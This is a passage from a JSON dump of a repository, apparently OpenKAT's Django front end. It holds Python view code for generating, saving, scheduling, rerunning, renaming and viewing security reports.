= {key: value for key, value in self.get_report_data_from_bytes(asset_reports)}\n\n        ooi_pks = set()\n\n        for report in asset_reports:\n            ooi_pks.add(report.input_ooi)\n            bytes_data = bytes_datas[report.data_raw_id]\n            report_data.setdefault(report.report_type, {})[report.input_ooi] = {\n                \"data\": bytes_data[\"report_data\"],\n                \"template\": report.template,\n                \"report_name\": report.name,\n            } | bytes_data[\"input_data\"]\n        oois = self.get_input_oois(list(ooi_pks))\n        report_type_ids = {child_report.report_type for child_report in asset_reports}\n        report_types = self.get_report_types(report_type_ids)\n        plugins = self.get_plugins(self.get_report_data_from_bytes([self.report_ooi])[0][1][\"input_data\"][\"plugins\"])\n\n        return report_data, oois, report_types, plugins\n\n    def get_report_data(self):\n        if issubclass(get_report_by_id(self.report_ooi.report_type), ConcatenatedReport):\n            return self.get_report_data_concatenated_report()\n        if issubclass(get_report_by_id(self.report_ooi.report_type), AggregateReport | MultiOrganizationReport):\n            return self.get_report_data_aggregate_report_or_multi_report()\n\n        return self.get_report_data_single_report()\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"report_data\"] = self.report_data\n        context[\"report_ooi\"] = self.report_ooi\n        context[\"recipe_ooi\"] = self.recipe_ooi\n        context[\"oois\"] = self.input_oois\n        context[\"report_types\"] = self.report_types\n        context[\"plugins\"] = self.plugins\n        context[\"report_download_json_url\"] = url_with_querystring(\n            reverse(\"view_report\", kwargs={\"organization_code\": self.organization.code}),\n            True,\n            **dict(json=\"true\", **self.request.GET),\n        )\n        context[\"report_download_pdf_url\"] = url_with_querystring(\n            reverse(\"view_report_pdf\", kwargs={\"organization_code\": self.organization.code}), True, **self.request.GET\n        )\n\n        return context\n\n\nclass ViewReportPDFView(ViewReportView, WeasyTemplateResponseMixin):\n    pdf_filename = \"report.pdf\"\n    pdf_attachment = False\n    pdf_options = {\"pdf_variant\": \"pdf/ua-1\"}\n\n    def get_template_names(self):\n        if self.report_ooi.report_type and issubclass(get_report_by_id(self.report_ooi.report_type), AggregateReport):\n            return [\"aggregate_report_pdf.html\"]\n        if self.report_ooi.report_type and issubclass(\n            get_report_by_id(self.report_ooi.report_type), MultiOrganizationReport\n        ):\n            return [\"multi_report_pdf.html\"]\n        return [\"generate_report_pdf.html\"]\n"
  },
  {
    "path": "rocky/reports/views/generate_report.py",
    "content": "from typing import Any\n\nfrom django.contrib import messages\nfrom django.http import HttpRequest, HttpResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom katalogus.client import KATalogusHTTPError, KATalogusNotAllowedError\nfrom tools.view_helpers import Breadcrumb, PostRedirect\n\nfrom reports.views.base import (\n    REPORTS_PRE_SELECTION,\n    OOISelectionView,\n    ReportBreadcrumbs,\n    ReportFinalSettingsView,\n    ReportPluginView,\n    ReportTypeSelectionView,\n    SaveReportView,\n    get_selection,\n)\nfrom reports.views.mixins import SaveGenerateReportMixin\nfrom reports.views.view_helpers import GenerateReportStepsMixin\n\n\nclass BreadcrumbsGenerateReportView(ReportBreadcrumbs):\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n        kwargs = self.get_kwargs()\n        selection = get_selection(self.request)\n        breadcrumbs += [\n            {\"url\": reverse(\"generate_report_landing\", kwargs=kwargs) + selection, \"text\": _(\"Generate report\")},\n            {\"url\": reverse(\"generate_report_select_oois\", kwargs=kwargs) + selection, \"text\": _(\"Select objects\")},\n            {\n                \"url\": reverse(\"generate_report_select_report_types\", kwargs=kwargs) + selection,\n                \"text\": _(\"Select report types\"),\n            },\n            {\"url\": reverse(\"generate_report_setup_scan\", kwargs=kwargs) + selection, \"text\": _(\"Configuration\")},\n            {\"url\": reverse(\"generate_report_export_setup\", kwargs=kwargs) + selection, \"text\": _(\"Export setup\")},\n            {\"url\": reverse(\"generate_report_view\", kwargs=kwargs) + selection, \"text\": _(\"Save report\")},\n        ]\n        return breadcrumbs\n\n\nclass LandingGenerateReportView(BreadcrumbsGenerateReportView):\n    \"\"\"\n    Landing page to start the 'Generate Report' flow.\n    \"\"\"\n\n    def get(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        return redirect(\n            reverse(\"generate_report_select_oois\", kwargs=self.get_kwargs())\n            + get_selection(request, REPORTS_PRE_SELECTION)\n        )\n\n\nclass OOISelectionGenerateReportView(GenerateReportStepsMixin, BreadcrumbsGenerateReportView, OOISelectionView):\n    \"\"\"\n    Select objects for the 'Generate Report' flow.\n    \"\"\"\n\n    template_name = \"generate_report/select_oois.html\"\n    breadcrumbs_step = 3\n    current_step = 1\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"channel\"] = \"generate_report\"\n        return context\n\n\nclass ReportTypesSelectionGenerateReportView(\n    GenerateReportStepsMixin, BreadcrumbsGenerateReportView, ReportTypeSelectionView, TemplateView\n):\n    \"\"\"\n    Shows all possible report types from a list of OOIs.\n    Chooses report types for the 'Generate Report' flow.\n    \"\"\"\n\n    template_name = \"generate_report/select_report_types.html\"\n    breadcrumbs_step = 4\n    current_step = 2\n\n\nclass SetupScanGenerateReportView(\n    SaveGenerateReportMixin, GenerateReportStepsMixin, BreadcrumbsGenerateReportView, ReportPluginView\n):\n    \"\"\"\n    Show required and optional plugins to start scans to generate OOIs to include in report.\n    \"\"\"\n\n    template_name = \"generate_report/setup_scan.html\"\n    breadcrumbs_step = 5\n    current_step = 3\n\n\nclass ExportSetupGenerateReportView(GenerateReportStepsMixin, BreadcrumbsGenerateReportView, ReportFinalSettingsView):\n    \"\"\"\n    Shows the export setup page where users can set their export preferences.\n    \"\"\"\n\n    template_name = \"generate_report/export_setup.html\"\n    breadcrumbs_step = 6\n    current_step = 4\n\n    def post(self, request, *args, **kwargs):\n        selected_plugins = request.POST.getlist(\"plugin\", [])\n\n        if not selected_plugins:\n            return super().post(request, *args, **kwargs)\n\n        for selected_plugin in selected_plugins:\n            try:\n                self.katalogus_client.enable_boefje_by_id(selected_plugin)\n            except KATalogusNotAllowedError:\n                messages.error(request, _(\"You do not have the required permissions to enable plugins.\"))\n                return PostRedirect(self.get_previous())\n            except KATalogusHTTPError:\n                messages.error(\n                    request,\n                    _(\"An error occurred while enabling {}. The plugin is not available.\").format(selected_plugin),\n                )\n                return self.post(request, *args, **kwargs)\n        return super().post(request, *args, **kwargs)\n\n\nclass SaveGenerateReportView(SaveGenerateReportMixin, BreadcrumbsGenerateReportView, SaveReportView):\n    \"\"\"\n    Save the report generated.\n    \"\"\"\n\n    template_name = \"generate_report.html\"\n    breadcrumbs_step = 6\n    current_step = 5\n"
  },
  {
    "path": "rocky/reports/views/mixins.py",
    "content": "import json\nfrom datetime import datetime, timezone\n\nimport structlog\nfrom django.contrib import messages\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.ooi_helpers import create_ooi\n\nfrom octopoes.models import Reference\nfrom octopoes.models.ooi.reports import Report\nfrom reports.report_types.aggregate_organisation_report.report import AggregateOrganisationReport\nfrom reports.report_types.concatenated_report.report import ConcatenatedReport\nfrom reports.report_types.helpers import REPORTS\nfrom reports.report_types.multi_organization_report.report import MultiOrganizationReport, collect_report_data\nfrom reports.runner.report_runner import ReportDataDict, aggregate_reports, collect_reports, save_report_data\nfrom reports.views.base import BaseReportView\n\nlogger = structlog.get_logger(__name__)\n\n\nclass SaveGenerateReportMixin(BaseReportView):\n    def save_report(self, report_names: list) -> Report | None:  # TODO: fix naming\n        error_reports, report_data = collect_reports(\n            self.observed_at,\n            self.octopoes_api_connector,\n            [Reference.from_str(ref) for ref in self.get_ooi_pks()],\n            [x for x in self.get_report_types() if x in REPORTS],\n        )\n\n        report_ooi = save_report_data(\n            self.bytes_client,\n            self.observed_at,\n            self.octopoes_api_connector,\n            self.organization,\n            [x.reference for x in self.get_oois()],\n            report_data,\n            self.create_report_recipe(\"${report_type} for ${oois_count} objects\", ConcatenatedReport.name, None),\n        )\n\n        # If OOI could not be found or the date is incorrect, it will be shown to the user as a message error\n        if error_reports:\n            report_types = \", \".join(set(error_reports))\n            date = self.observed_at.date()\n            error_message = _(\"No data could be found for %(report_types). Object(s) did not exist on %(date)s.\") % {\n                \"report_types\": report_types,\n                \"date\": date,\n            }\n            messages.error(self.request, error_message)\n\n        return report_ooi\n\n\nclass SaveAggregateReportMixin(BaseReportView):\n    def save_report(self, report_names: list) -> Report | None:\n        aggregate_report, post_processed_data, report_data, report_errors = aggregate_reports(\n            self.octopoes_api_connector,\n            [ooi.reference for ooi in self.get_oois()],\n            self.get_report_type_ids(),\n            self.observed_at,\n            self.organization.code,\n        )\n\n        # If OOI could not be found or the date is incorrect, it will be shown to the user as a message error\n        if report_errors:\n            report_types = \", \".join(set(report_errors))\n            date = self.observed_at.date()\n            error_message = _(\"No data could be found for %(report_types). Object(s) did not exist on %(date)s.\") % {\n                \"report_types\": report_types,\n                \"date\": date,\n            }\n            messages.add_message(self.request, messages.ERROR, error_message)\n\n        return save_report_data(\n            self.bytes_client,\n            self.get_observed_at(),\n            self.octopoes_api_connector,\n            self.organization,\n            [ooi.reference for ooi in self.get_oois()],\n            report_data,\n            self.create_report_recipe(\n                \"${report_type} for ${oois_count} objects\", AggregateOrganisationReport.name, None\n            ),\n            post_processed_data,\n        )\n\n\nclass SaveMultiReportMixin(BaseReportView):\n    def save_report(self, report_names: list) -> Report:\n        now = datetime.now(timezone.utc)\n\n        observed_at = self.get_observed_at()\n        report_type = MultiOrganizationReport(self.octopoes_api_connector)\n\n        name = now.strftime(report_names[0][1])\n        if not name or name.isspace():\n            name = report_type.name\n\n        report_data = report_type.post_process_data(\n            collect_report_data(self.octopoes_api_connector, self.get_ooi_pks(), self.observed_at)\n        )\n        report_data_raw_id = self.bytes_client.upload_raw(\n            json.dumps(ReportDataDict(report_data | self.get_input_data()).model_dump(mode=\"json\")).encode(\"utf-8\"),\n            manual_mime_types={\"openkat/report\"},\n        )\n\n        report_ooi = Report(\n            name=str(name),\n            report_type=str(report_type.id),\n            template=report_type.template_path,\n            organization_code=self.organization.code,\n            organization_name=self.organization.name,\n            organization_tags=set(self.organization.tags.all()),\n            data_raw_id=report_data_raw_id,\n            date_generated=now,\n            reference_date=observed_at,  # TODO: https://github.com/minvws/nl-kat-coordination/issues/4014\n            input_oois=self.get_ooi_pks(),\n            observed_at=observed_at,\n        )\n\n        create_ooi(self.octopoes_api_connector, self.bytes_client, report_ooi, observed_at)\n        logger.info(\"Report created\", event_code=800071, report=report_ooi)\n\n        return report_ooi\n"
  },
  {
    "path": "rocky/reports/views/multi_report.py",
    "content": "from typing import Any\n\nfrom django.http import HttpRequest, HttpResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\nfrom tools.view_helpers import Breadcrumb\n\nfrom reports.report_types.multi_organization_report.report import MultiOrganizationReport\nfrom reports.views.base import (\n    OOISelectionView,\n    ReportBreadcrumbs,\n    ReportFinalSettingsView,\n    ReportPluginView,\n    ReportTypeSelectionView,\n    SaveReportView,\n    get_selection,\n)\nfrom reports.views.mixins import SaveMultiReportMixin\nfrom reports.views.view_helpers import MultiReportStepsMixin\n\n\nclass BreadcrumbsMultiReportView(ReportBreadcrumbs):\n    def build_breadcrumbs(self) -> list[Breadcrumb]:\n        breadcrumbs = super().build_breadcrumbs()\n        kwargs = self.get_kwargs()\n        selection = get_selection(self.request)\n        breadcrumbs += [\n            {\"url\": reverse(\"multi_report_landing\", kwargs=kwargs) + selection, \"text\": _(\"Multi report\")},\n            {\"url\": reverse(\"multi_report_select_oois\", kwargs=kwargs) + selection, \"text\": _(\"Select objects\")},\n            {\n                \"url\": reverse(\"multi_report_select_report_types\", kwargs=kwargs) + selection,\n                \"text\": _(\"Select report types\"),\n            },\n            {\"url\": reverse(\"multi_report_setup_scan\", kwargs=kwargs) + selection, \"text\": _(\"Configuration\")},\n            {\"url\": reverse(\"multi_report_export_setup\", kwargs=kwargs) + selection, \"text\": _(\"Export setup\")},\n            {\"url\": reverse(\"multi_report_view\", kwargs=kwargs) + selection, \"text\": _(\"View report\")},\n        ]\n        return breadcrumbs\n\n\nclass LandingMultiReportView(BreadcrumbsMultiReportView):\n    \"\"\"\n    Landing page to start the 'Multi Report' flow.\n    \"\"\"\n\n    def get(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        return redirect(reverse(\"multi_report_select_oois\", kwargs=self.get_kwargs()))\n\n\nclass OOISelectionMultiReportView(MultiReportStepsMixin, BreadcrumbsMultiReportView, OOISelectionView):\n    \"\"\"\n    Select OOIs for the 'Multi Report' flow.\n    \"\"\"\n\n    template_name = \"generate_report/select_oois.html\"\n    breadcrumbs_step = 3\n    current_step = 1\n    report_type = MultiOrganizationReport\n\n\nclass ReportTypesSelectionMultiReportView(\n    MultiReportStepsMixin, BreadcrumbsMultiReportView, ReportTypeSelectionView, TemplateView\n):\n    \"\"\"\n    Shows all possible report types from a list of OOIs.\n    Chooses report types for the 'Multi Report' flow.\n    \"\"\"\n\n    template_name = \"generate_report/select_report_types.html\"\n    breadcrumbs_step = 4\n    current_step = 2\n    report_type = MultiOrganizationReport\n\n\nclass SetupScanMultiReportView(MultiReportStepsMixin, BreadcrumbsMultiReportView, ReportPluginView):\n    \"\"\"\n    Show required and optional plugins to start scans to multi OOIs to include in report.\n    \"\"\"\n\n    template_name = \"generate_report/setup_scan.html\"\n    breadcrumbs_step = 5\n    current_step = 3\n    report_type = MultiOrganizationReport\n\n\nclass ExportSetupMultiReportView(MultiReportStepsMixin, BreadcrumbsMultiReportView, ReportFinalSettingsView):\n    \"\"\"\n    Shows the export setup page where users can set their export preferences.\n    \"\"\"\n\n    template_name = \"generate_report/export_setup.html\"\n    breadcrumbs_step = 6\n    current_step = 4\n    report_type = MultiOrganizationReport\n\n\nclass MultiReportView(SaveMultiReportMixin, BreadcrumbsMultiReportView, SaveReportView):\n    \"\"\"\n    Shows the multi report from OOIS and report types.\n    \"\"\"\n\n    template_name = \"multi_report.html\"\n    breadcrumbs_step = 6\n    current_step = 5\n    report_type = MultiOrganizationReport\n"
  },
  {
    "path": "rocky/reports/views/report_overview.py",
    "content": "from datetime import datetime, timezone\nfrom typing import Any\nfrom uuid import UUID\n\nimport structlog\nfrom account.mixins import OrganizationPermissionRequiredMixin\nfrom django.conf import settings\nfrom django.contrib import messages\nfrom django.http import HttpResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import ListView\nfrom httpx import HTTPStatusError\nfrom pydantic import TypeAdapter, ValidationError\nfrom tools.ooi_helpers import create_ooi\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.reports import AssetReport, BaseReport, HydratedReport, Report, ReportRecipe\nfrom reports.views.base import ReportBreadcrumbs, get_selection\nfrom rocky.paginator import RockyPaginator\nfrom rocky.views.mixins import OctopoesView, ReportList\nfrom rocky.views.scheduler import SchedulerView\n\nlogger = structlog.get_logger(__name__)\n\n\nclass BreadcrumbsReportOverviewView(ReportBreadcrumbs):\n    def build_breadcrumbs(self):\n        breadcrumbs = super().build_breadcrumbs()\n        kwargs = self.get_kwargs()\n        selection = get_selection(self.request)\n        breadcrumbs += [{\"url\": reverse(\"subreports\", kwargs=kwargs) + selection, \"text\": _(\"Asset reports\")}]\n        return breadcrumbs\n\n\nclass ScheduledReportsView(BreadcrumbsReportOverviewView, SchedulerView, ListView):\n    \"\"\"\n    Shows all the reports that have ever been generated for the organization.\n    \"\"\"\n\n    paginate_by = 20\n    context_object_name = \"reports\"\n    paginator = RockyPaginator\n    template_name = \"report_overview/scheduled_reports.html\"\n    task_type = \"report\"\n    context_object_name = \"scheduled_reports\"\n\n    def get_recipe_ooi(self, recipe_id: str) -> ReportRecipe | None:\n        try:\n            return self.octopoes_api_connector.get(\n                Reference.from_str(f\"ReportRecipe|{recipe_id}\"), valid_time=self.observed_at\n            )\n        except (HTTPStatusError, ObjectNotFoundException):\n            return None\n\n    def get_reports(self, recipe_id: str) -> list[HydratedReport]:\n        try:\n            return self.octopoes_api_connector.list_reports(\n                valid_time=self.observed_at, recipe_id=UUID(recipe_id)\n            ).items\n        except (HTTPStatusError, ObjectNotFoundException):\n            return []\n\n    def get_queryset(self) -> list[dict[str, Any]]:\n        report_schedules = self.get_report_schedules()\n        if not report_schedules:\n            return []\n\n        recipes = []\n        for schedule in report_schedules:\n            if not schedule[\"data\"]:\n                continue\n\n            recipe_id = schedule[\"data\"][\"report_recipe_id\"]\n            report_recipe = self.get_recipe_ooi(recipe_id)\n            reports = self.get_reports(recipe_id)\n            schedule_datetime = schedule[\"deadline_at\"]\n            total_oois = len(\n                {\n                    input_ooi.input_ooi if isinstance(input_ooi, AssetReport) else input_ooi\n                    for report in reports\n                    for input_ooi in report.input_oois\n                }\n            )\n\n            recipes.append(\n                {\n                    \"schedule_id\": schedule[\"id\"],\n                    \"enabled\": schedule[\"enabled\"],\n                    \"recipe\": report_recipe,\n                    \"cron\": schedule[\"schedule\"],\n                    \"deadline_at\": (\n                        datetime.strptime(schedule_datetime[0:19] + schedule_datetime[-1:], \"%Y-%m-%dT%H:%M:%SZ\")\n                        if schedule_datetime\n                        else \"asap\"\n                    ),\n                    \"reports\": reports,\n                    \"total_oois\": total_oois,\n                }\n            )\n\n        return recipes\n\n    def post(self, request, *args, **kwargs):\n        \"\"\"Delete report recipe\"\"\"\n        recipe_id = request.POST.get(\"recipe_id\")\n\n        filters = {\"filters\": [{\"column\": \"data\", \"field\": \"report_recipe_id\", \"operator\": \"==\", \"value\": recipe_id}]}\n        schedule = self.get_schedule_with_filters(filters) if recipe_id else None\n\n        if not self.organization_member.has_perm(\"tools.can_delete_oois\"):\n            messages.error(self.request, _(\"Not enough permissions\"))\n            return self.get(request, *args, **kwargs)\n\n        if schedule:\n            self.delete_report_schedule(str(schedule.id))\n            try:\n                self.octopoes_api_connector.delete(\n                    Reference.from_str(f\"ReportRecipe|{recipe_id}\"), valid_time=datetime.now(timezone.utc)\n                )\n                logger.info(\n                    \"Schedule and ReportRecipe deleted\", event_code=\"0800083\", schedule_id=schedule.id, recipe=recipe_id\n                )\n                messages.success(self.request, _(\"Recipe '{}' deleted successfully\").format(recipe_id))\n            except ObjectNotFoundException:\n                messages.error(self.request, _(\"Recipe not found.\"))\n\n        else:\n            messages.error(self.request, _(\"No schedule or recipe selected\"))\n\n        return redirect(reverse(\"scheduled_reports\", kwargs={\"organization_code\": self.organization.code}))\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"total_report_schedules\"] = len(self.object_list)\n        context[\"asset_reports_enabled\"] = settings.ASSET_REPORTS\n        return context\n\n\nclass ScheduledReportsEnableDisableView(\n    OrganizationPermissionRequiredMixin, BreadcrumbsReportOverviewView, SchedulerView, ListView\n):\n    \"\"\"\n    Enable/disable the schedule for the selected ReportRecipe.\n    \"\"\"\n\n    task_type = \"report\"\n    template_name = \"report_overview/scheduled_reports.html\"\n    permission_required = \"tools.can_enable_disable_schedule\"\n\n    def get_queryset(self) -> ReportList:\n        return ReportList(self.octopoes_api_connector, valid_time=self.observed_at)\n\n    def post(self, request, *args, **kwargs) -> HttpResponse:\n        recipe_id = request.POST.get(\"recipe_id\")\n        report_name_format = request.POST.get(\"report_name_format\")\n\n        filters = {\"filters\": [{\"column\": \"data\", \"field\": \"report_recipe_id\", \"operator\": \"==\", \"value\": recipe_id}]}\n        schedule = self.get_schedule_with_filters(filters) if recipe_id else None\n\n        if schedule:\n            is_schedule_enabled = not schedule.enabled\n\n            self.edit_report_schedule(str(schedule.id), {\"enabled\": is_schedule_enabled})\n\n            if is_schedule_enabled:\n                messages.success(\n                    self.request,\n                    _(\n                        \"Schedule disabled successfully. '{}' will not be generated \"\n                        \"automatically until the schedule is enabled again.\"\n                    ).format(report_name_format),\n                )\n            else:\n                messages.success(\n                    self.request,\n                    _(\"Schedule enabled successfully. '{}' will be generated according to schedule.\").format(\n                        report_name_format\n                    ),\n                )\n\n        return redirect(reverse(\"scheduled_reports\", kwargs={\"organization_code\": self.organization.code}))\n\n\nclass ReportHistoryView(BreadcrumbsReportOverviewView, SchedulerView, OctopoesView, ListView):\n    \"\"\"\n    Shows all the reports that have ever been generated for the organization.\n    \"\"\"\n\n    paginate_by = 30\n    context_object_name = \"reports\"\n    paginator = RockyPaginator\n    template_name = \"report_overview/report_history.html\"\n    task_type = \"report\"\n\n    def post(self, request, *args, **kwargs):\n        try:\n            self.run_bulk_actions()\n        except (ObjectNotFoundException, ValidationError):\n            messages.error(request, _(\"An unexpected error occurred, please check logs for more info.\"))\n\n        dashboard = self.request.POST.get(\"dashboard\")\n        if dashboard:\n            return redirect(\n                reverse(\n                    \"organization_crisis_room\", kwargs={\"organization_code\": self.organization.code, \"id\": dashboard}\n                )\n            )\n        return self.get(request, *args, **kwargs)\n\n    def get_queryset(self) -> ReportList:\n        return ReportList(self.octopoes_api_connector, valid_time=self.observed_at)\n\n    def get_report_ooi(self, ooi_pk: str) -> HydratedReport:\n        return self.octopoes_api_connector.get_report(ooi_pk, valid_time=self.observed_at)\n\n    def run_bulk_actions(self) -> None:\n        action = self.request.POST.get(\"action\", \"\")\n        report_references = self.request.POST.getlist(\"report_reference\", [])\n\n        if action == \"rename\":\n            return self.rename_reports(report_references)\n\n        if action == \"delete\":\n            return self.delete_reports(report_references)\n\n        if action == \"rerun\":\n            return self.rerun_reports(report_references)\n\n    def delete_reports(self, report_references: list[Reference]) -> None:\n        if not self.organization_member.has_perm(\"tools.can_delete_oois\"):\n            messages.error(self.request, _(\"Not enough permissions\"))\n            return\n\n        for report_reference in report_references:\n            if not issubclass(Reference.from_str(report_reference).class_type, BaseReport):\n                messages.error(self.request, _(\"Other OOI type selected than Report\"))\n                return\n\n        self.octopoes_api_connector.delete_many(report_references, datetime.now(timezone.utc))\n        logger.info(\"Reports deleted\", event_code=800073, reports=report_references)\n        messages.success(self.request, _(\"Deletion successful.\"))\n\n    def rerun_reports(self, report_references: list[str]) -> None:\n        not_updated_reports = []\n        for report_id in report_references:\n            report_ooi = self.get_report_ooi(report_id)\n\n            if report_ooi.report_type == \"multi-organization-report\":\n                return messages.warning(\n                    self.request,\n                    _(\n                        \"Multi organization reports cannot be rescheduled. \"\n                        \"It consists of imported data from different organizations \"\n                        \"and is not based on newly generated data.\"\n                    ),\n                )\n            else:\n                updated_all = self.rerun_report(report_ooi)\n\n                if updated_all:\n                    for asset_report in report_ooi.input_oois:\n                        if isinstance(asset_report, AssetReport) and not self.rerun_report(asset_report):\n                            updated_all = False\n                if not updated_all:\n                    not_updated_reports.append(report_ooi.name)\n        if not not_updated_reports:\n            messages.success(\n                self.request, _(\"Rerun successful. It may take a moment before the new report has been generated.\")\n            )\n        else:\n            messages.warning(\n                self.request,\n                _(\"Couldn't rerun %s, since the recipe for this report has been disabled or deleted.\")\n                % \", \".join(not_updated_reports),\n            )\n\n    def get_input_data(self, report_ooi: Report) -> dict[str, Any]:\n        report_data = TypeAdapter(Any, config={\"arbitrary_types_allowed\": True}).validate_json(\n            self.bytes_client.get_raw(raw_id=report_ooi.data_raw_id)\n        )\n\n        return {\n            \"input_data\": {\n                \"input_oois\": report_data[\"input_data\"][\"input_oois\"],\n                \"report_types\": report_data[\"input_data\"][\"report_types\"],\n                \"plugins\": report_data[\"input_data\"][\"plugins\"],\n            }\n        }\n\n    def get_input_oois(self, ooi_pks: list[str]) -> list[OOI]:\n        return [\n            self.octopoes_api_connector.get(Reference.from_str(ooi), valid_time=self.observed_at) for ooi in ooi_pks\n        ]\n\n    def rerun_report(self, report_ooi: Report | AssetReport) -> bool:\n        \"\"\"Rerun an existing Report and its AssetReports.\"\"\"\n        deadline_at = datetime.now(timezone.utc).isoformat()\n        report_recipe_id = str(report_ooi.report_recipe.tokenized.recipe_id)\n        filters = {\n            \"filters\": [{\"column\": \"data\", \"field\": \"report_recipe_id\", \"operator\": \"==\", \"value\": report_recipe_id}]\n        }\n        schedule = self.get_schedule_with_filters(filters)\n        if schedule and schedule.enabled:\n            self.scheduler_client.patch_schedule(schedule_id=str(schedule.id), params={\"deadline_at\": deadline_at})\n            return True\n        return False\n\n    def rename_reports(self, report_references: list[str]) -> None:\n        report_names = self.request.POST.getlist(\"report_name\", [])\n        error_reports = []\n\n        if not report_references or not report_names:\n            messages.error(self.request, _(\"Renaming failed. Empty report name found.\"))\n\n        if len(report_references) != len(report_names):\n            messages.error(self.request, _(\"Report names and reports does not match.\"))\n\n        for index, report_id in enumerate(report_references):\n            report_ooi = self.get_report_ooi(report_id).to_report()\n            report_ooi.name = report_names[index]\n            try:\n                create_ooi(self.octopoes_api_connector, self.bytes_client, report_ooi, datetime.now(timezone.utc))\n            except ValidationError:\n                error_reports.append(f'\"{report_ooi.name}\"')\n\n        if not error_reports:\n            logger.info(\"Reports created\", event_code=800071, reports=report_references)\n            return messages.success(self.request, _(\"Reports successfully renamed.\"))\n\n        return messages.error(self.request, _(\"Report {} could not be renamed.\").format(\", \".join(error_reports)))\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"total_reports\"] = len(self.object_list)\n        context[\"selected_reports\"] = self.request.GET.getlist(\"report\", [])\n        context[\"asset_reports_enabled\"] = settings.ASSET_REPORTS\n        return context\n\n\nclass SubreportView(BreadcrumbsReportOverviewView, OctopoesView, ListView):\n    \"\"\"\n    Shows all the subreports that belong to the selected parent report.\n    \"\"\"\n\n    paginate_by = 150\n    breadcrumbs_step = 2\n    context_object_name = \"asset_reports\"\n    paginator = RockyPaginator\n    template_name = \"report_overview/subreports.html\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.report_id = self.request.GET.get(\"report_id\")\n\n    def get_queryset(self) -> ReportList:\n        return ReportList(self.octopoes_api_connector, valid_time=self.observed_at, report_id=self.report_id)\n\n    def get_report_ooi(self, ooi_pk: str) -> HydratedReport:\n        return self.octopoes_api_connector.get_report(ooi_pk, valid_time=self.observed_at)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"total_oois\"] = len(self.object_list)\n        context[\"report_ooi\"] = self.get_report_ooi(self.report_id).to_report()\n        return context\n"
  },
  {
    "path": "rocky/reports/views/view_helpers.py",
    "content": "from django.urls import reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.models import Organization\nfrom tools.view_helpers import StepsMixin\n\nfrom reports.views.base import get_selection\n\n\nclass GenerateReportStepsMixin(StepsMixin):\n    organization: Organization\n\n    def build_steps(self):\n        selection = get_selection(self.request)\n        steps = [\n            {\n                \"text\": _(\"1: Select objects\"),\n                \"url\": reverse_lazy(\"generate_report_select_oois\", kwargs={\"organization_code\": self.organization.code})\n                + selection,\n            },\n            {\n                \"text\": _(\"2: Choose report types\"),\n                \"url\": reverse_lazy(\n                    \"generate_report_select_report_types\", kwargs={\"organization_code\": self.organization.code}\n                )\n                + selection,\n            },\n            {\n                \"text\": _(\"3: Configuration\"),\n                \"url\": reverse_lazy(\"generate_report_setup_scan\", kwargs={\"organization_code\": self.organization.code})\n                + selection,\n            },\n            {\n                \"text\": _(\"4: Export setup\"),\n                \"url\": reverse_lazy(\n                    \"generate_report_export_setup\", kwargs={\"organization_code\": self.organization.code}\n                )\n                + selection,\n            },\n        ]\n        return steps\n\n\nclass AggregateReportStepsMixin(StepsMixin):\n    organization: Organization\n\n    def build_steps(self):\n        selection = get_selection(self.request)\n        steps = [\n            {\n                \"text\": _(\"1: Select objects\"),\n                \"url\": reverse_lazy(\n                    \"aggregate_report_select_oois\", kwargs={\"organization_code\": self.organization.code}\n                )\n                + selection,\n            },\n            {\n                \"text\": _(\"2: Choose report types\"),\n                \"url\": reverse_lazy(\n                    \"aggregate_report_select_report_types\", kwargs={\"organization_code\": self.organization.code}\n                )\n                + selection,\n            },\n            {\n                \"text\": _(\"3: Configuration\"),\n                \"url\": reverse_lazy(\"aggregate_report_setup_scan\", kwargs={\"organization_code\": self.organization.code})\n                + selection,\n            },\n            {\n                \"text\": _(\"4: Export setup\"),\n                \"url\": reverse_lazy(\n                    \"aggregate_report_export_setup\", kwargs={\"organization_code\": self.organization.code}\n                )\n                + selection,\n            },\n        ]\n        return steps\n\n\nclass MultiReportStepsMixin(StepsMixin):\n    organization: Organization\n\n    def build_steps(self, **kwargs):\n        selection = get_selection(self.request)\n        steps = [\n            {\n                \"text\": _(\"1: Select objects\"),\n                \"url\": reverse_lazy(\"multi_report_select_oois\", kwargs={\"organization_code\": self.organization.code})\n                + selection,\n            },\n            {\n                \"text\": _(\"2: Choose report types\"),\n                \"url\": reverse_lazy(\n                    \"multi_report_select_report_types\", kwargs={\"organization_code\": self.organization.code}\n                )\n                + selection,\n            },\n            {\n                \"text\": _(\"3: Export setup\"),\n                \"url\": reverse_lazy(\"multi_report_export_setup\", kwargs={\"organization_code\": self.organization.code})\n                + selection,\n            },\n        ]\n        return steps\n"
  },
  {
    "path": "rocky/reports/viewsets.py",
